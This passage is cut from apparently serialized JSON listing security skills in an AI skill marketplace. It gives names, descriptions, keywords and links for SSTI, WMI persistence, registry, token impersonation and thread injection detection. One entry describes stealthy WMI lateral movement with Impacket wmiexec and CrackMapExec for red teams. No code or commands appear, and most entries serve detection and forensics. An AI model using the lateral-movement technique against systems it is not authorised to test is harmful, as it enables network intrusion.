injection-ssti-template-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fssti\u002Ftemplate\u002Fdetect\u002FSKILL.md",true,[85],{"path":86,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"index.json","REFERENCE","参考文档",693,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fssti\u002Ftemplate\u002Fdetect\u002Findex.json",[92,102,124,143,164,186],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":96,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":101},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[109,22,110,111,112,113,114,34,115,116,117,118,119,120,121,122,123,37,29],"services","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[131,111,132,109,133,31,33,134,135,34,136,35,137,138,139,28,140,141,29,142],"exec","services wmi exec exploit","exploit","analysis","team","traffic","crackmapexec","Impacket","lateral-movement","lateral movement","command","native",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[150,151,152,153,154,24,155,156,157,158,28,29,159,160,134,161,33,34,162,163],"extract","registry artifact extract","registry","artifact","digital-forensics","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":170,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[171,172,173,22,34,174,37,175,176,177,113,29,178,179,180,181,182,183,184,185],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":192,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[193,171,19,22,194,195,114,29,178,196,197,198,134,113,34,174,199,37,200,176],"thread","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]